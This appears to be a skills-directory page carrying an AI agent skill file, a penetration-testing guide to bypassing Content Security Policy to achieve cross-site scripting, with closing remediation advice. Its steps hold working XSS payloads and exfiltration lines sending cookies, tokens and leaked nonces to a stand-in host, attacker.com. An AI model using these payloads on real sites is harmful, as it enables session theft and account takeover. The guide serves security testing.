[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73EDCD8BT30E9672MFSM4EV":3,"skill-same:01M73EDCD8BT30E9672MFSM4EV":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M73EDCD8BT30E9672MFSM4EV","performing-content-security-policy-bypass",null,"Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-content-security-policy-bypass\ndescription: Analyze and bypass Content Security Policy implementations to achieve\n  cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives,\n  and policy injection techniques.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- csp-bypass\n- content-security-policy\n- xss\n- script-injection\n- nonce-bypass\n- jsonp\n- policy-misconfiguration\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\n---\n\n# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n","# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43,"source_commit":49},[26,27,28,29,30,31,32],"csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47,48],"T1190","T1059.007","T1505.003","T1083","T1055","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fperforming-content-security-policy-bypass",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-content-security-policy-bypass",{"tool":66,"command":67},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-content-security-policy-bypass",{"tool":69,"command":70},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-content-security-policy-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",6611,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",11240,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Fscripts\u002Fagent.py",[91,99,106,114,122,130],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":118,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]